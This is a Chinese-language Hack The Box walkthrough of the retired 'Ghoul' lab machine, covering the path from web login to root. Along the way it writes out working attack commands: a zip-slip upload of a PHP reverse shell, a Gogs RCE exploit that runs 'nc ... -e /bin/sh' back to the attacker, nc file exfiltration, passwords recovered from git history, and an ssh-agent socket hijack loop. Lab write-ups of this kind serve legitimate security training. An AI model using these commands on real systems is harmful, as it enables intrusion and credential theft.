HTB-靶机-Ghoul
本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.101
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令 autorecon 10.10.10.101 -o ./Ghoul-autorecon
此靶机难度不小,官方想显示难度如下
根据扫描结果开放了4个端口,根据以往的经验,难度较大的靶机会有docker环境,目的让你从docker环境逃逸跳转到宿主机拿到最终的root.txt,这里我们先看下80端口
把上面的功能都点击了一把,没发现啥鸡毛东西,直接目录爆破看看
发现了重要敏感目录,具体如下
其他访问都是现实403,我们先放着看下开放的8080端口,访问8080端口的时候我还是绑定hosts 访问,这里访问的时候显示401认证,我尝试了弱口令admin/admin登录此成功,显示如下界面
发现了上传功能, 上传照片显示成功,但是通过上面的爆破目录uploads显示404,不在此处浪费时间,我们看看另一个上传点
此上传点可以上传zip压缩文件,得知存在zip slip漏洞,具体参考:Zip Slip Vulnerability | Snyk 对应的exploit GitHub - ptoomey3/evilarc: Create tar/zip archives that can exploit directory traversal vulnerabilities
漏洞zip-slip详情 https://snyk.io/research/zip-slip-vulnerability 对应的exploit https://github.com/ptoomey3/evilarc 反弹shell代码 wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php python evilarc.py -o unix -d 2 -p var/www/html/archives revshell.php curl http://10.10.10.101/archives/revshell.php nc -lvnp 8833
拿到权限通过枚举当前系统的信息,得到如下
发现3个私钥文件,有一个私钥文件加了密码,猜测加了密码的就是有可能是权限较大的用户,回看前面访问的web页面10.10.10.101/secret.php得到私钥密码ILoveTouka 所以直接将私钥复制到本地kali更改权限600直接连接上去
通过 查看当前用户的.ssh目录发现和另外一台主机是互信的,于是直接连接上去
进入到此主机进行C段探测
for i in {1..255}; do ping -c 1 172.18.0.$i; done | grep 'ttl='
发现172.18.0.2存在gods,开放3000端口,将其3000端口通过端口转发到本地kali
通过ssh进行本地端口转发 ssh -L 3000:172.18.0.2:3000 kaneki_pub@172.20.0.150 本地kali执行,将3000端口转发到本地kali ssh -L 3000:127.0.0.1:3000 -i kaneki.key kaneki@10.10.10.101
Gogs漏洞详情 https://www.anquanke.com/post/id/163575 https://nvd.nist.gov/vuln/detail/CVE-2018-18925
对应Gogs的exploit
https://github.com/TheZ3ro/gogsownz
直接利用
python3 gogsownz.py -v http://127.0.0.1:3000/ -C 'AogiriTest':'test@aogiri123' -n i_like_gogits --rce 'nc 10.10.14.3 1337 -e /bin/sh' --cleanup
成功反弹shell,在此shell的基础上写入公钥,然后通过私钥连接过去
拿到root权限之后到root根目录发现压缩文件,通过nc的方式将其下载到kali本地
nc传文件 nc -lvnp 5555 > aogiri-app.7z nc 10.10.14.3 5555 < aogiri-app.7z 解压 7z x aogiri-app.7z
在kali本地查看解压的文件内容
到解压后的文件夹里面执行下面命令查看更改提交日志 git log -p # -p is for pagination spring.datasource.url=jdbc:mysql://172.18.0.1:3306/db -spring.datasource.username=root -spring.datasource.password=root +spring.datasource.username=kaneki +spring.datasource.password=jT7Hr$.[nF.)c)4C git reflog -p 用法参考:https://git-scm.com/docs/git-reflog server.port=8080 spring.datasource.url=jdbc:mysql://localhost:3306/db -spring.datasource.username=kaneki -spring.datasource.password=7^Grc%C\7xEQ?tb4 +spring.datasource.username=root +spring.datasource.password=g_xEN$ZuWD7hJf2G 发现上面的密码信息,一个一个试,确认密码7^Grc%C\7xEQ?tb4可以切换root
知道了密码切换到root权限
发现有个计划任务连接IP地址172.18.0.1,确认可以通过ssh-agent可以直接进行登录,参考:https://www.ssh.com/ssh/agent 这里测试由于生成的agent信息很快就会被删除了,所以需要使用循环的方式拿到权限
while true; do export pid=$(ps -u kaneki_adm | grep ssh$ | tr -s ' ' | cut -d' ' -f2); if [ ! -z $pid ]; then echo "[+] Found pid for kaneki_adm ssh process: $pid"; export SSH_AUTH_SOCK=$(su kaneki_adm -c 'cat /proc/${pid}/environ' | sed 's/\x0/\n/g' | grep SSH_AUTH_SOCK | cut -d'=' -f2); echo "[+] Found ssh auth socket: $SSH_AUTH_SOCKET"; echo "[*] sshing to target"; ssh root@172.18.0.1 -p 2222; break; fi; sleep 5; done
最终拿到权限获取root.txt